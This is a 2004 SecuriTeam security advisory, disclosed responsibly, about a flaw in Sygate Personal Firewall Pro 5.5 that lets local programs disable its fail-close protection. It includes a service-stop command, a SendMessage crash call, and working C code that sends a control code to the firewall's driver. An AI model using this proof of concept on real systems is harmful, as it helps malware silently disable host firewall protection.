[NT] Sygate Personal Firewall Pro May Be Disabled By Local Programs
From: SecuriTeam (support_at_securiteam.com)
Date: 06/14/04
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To: list@securiteam.com Date: 14 Jun 2004 14:05:51 +0200
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Sygate Personal Firewall Pro May Be Disabled By Local Programs
------------------------------------------------------------------------
SUMMARY
<http://soho.sygate.com/products/spf_pro.htm> Sygate Personal Firewall
Pro provides a "multi-layered shield of network, content, application, and
operating system protection for your PC. The Pro version includes a
comprehensive Intrusion Protection System (IPS) which includes IDS, DoS
protection, and Trojan protection."
Sygate Personal Firewall has a fail-safe mechanism that will stop all
network traffic to and from the system in case the firewall service in
unavailable. Hence if a malicious local program is able to kill the
firewall service, all traffic will stop. However, there is a flaw in the
implementation of this feature, allowing an attacker to bypass this
mechanism.
DETAILS
Vulnerable Systems:
* Sygate Personal Firewall Pro version 5.5 Build 2525 on Win2k SP4
Sygate Personal Firewall Pro (SPFP) is implemented as a user-space service
(smc.exe), and as a kernel-space NDIS intermediate driver (teefer.sys).
The driver creates a device named \\device\Teefer. The user-space service
(smc.exe, tfman.dll) communicates with the kernel-space driver through
this device using specific Device I/O control codes.
The driver does not validate the source of the control codes, allowing
malicious programs to send control codes to the driver and disable its
fail-close protection. SPFP attempts to prevent this by allowing only one
program in user-space to open a handle to its driver. Theoretically, as
long as smc.exe is running, no other program can access the driver. This
simple protective measure can be circumvented in two ways:
1. If the program is running with administrative permissions it can simply
stop smc.exe:
net stop smcservice
2. A non-administrative program can exploit the ListView control in SPFP's
GUI in order to crash the service. An example of the line of code needed
to do this is given below:
SendMessage(hHdrControl, HDM_GETITEMRECT, 1, (LPARAM)NON-WRITABLE_ADDR);
The fail-safe mechanism then will disable all incoming and outgoing
traffic by using the following code:
hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("Open failed\n");
}
else
{
printf("Device opened.\n");
char buffer[8];
DWORD *ptr = (DWORD *)buffer;
DWORD *ptr2 = (DWORD *)(buffer + 4);
DWORD ret;
*ptr = 0;
*ptr2 = 0;
if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8,
&ret, 0))
printf("Sent.\n");
CloseHandle(hDevice);
}
Vendor Status:
The vendor has been contacted and the vulnerability will be fixed in the
upcoming release.
Disclosure Timeline
20 May 04 - Vulnerability Discovered
30 May 04 - Initial Vendor Notification
08 Jun 04 - Initial Vendor Response
13 Jun 04 - Public Release
ADDITIONAL INFORMATION
The information has been provided by <mailto:chewkeong@security.org.sg>
Chew Keong TAN.
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